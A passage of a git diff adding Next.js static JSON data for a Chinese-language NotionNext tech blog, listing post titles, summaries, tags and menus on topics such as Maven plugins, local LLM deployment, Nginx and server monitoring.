摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-3.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-3.json new file mode 100644 index 000000000..93053dbc5 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-3.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate"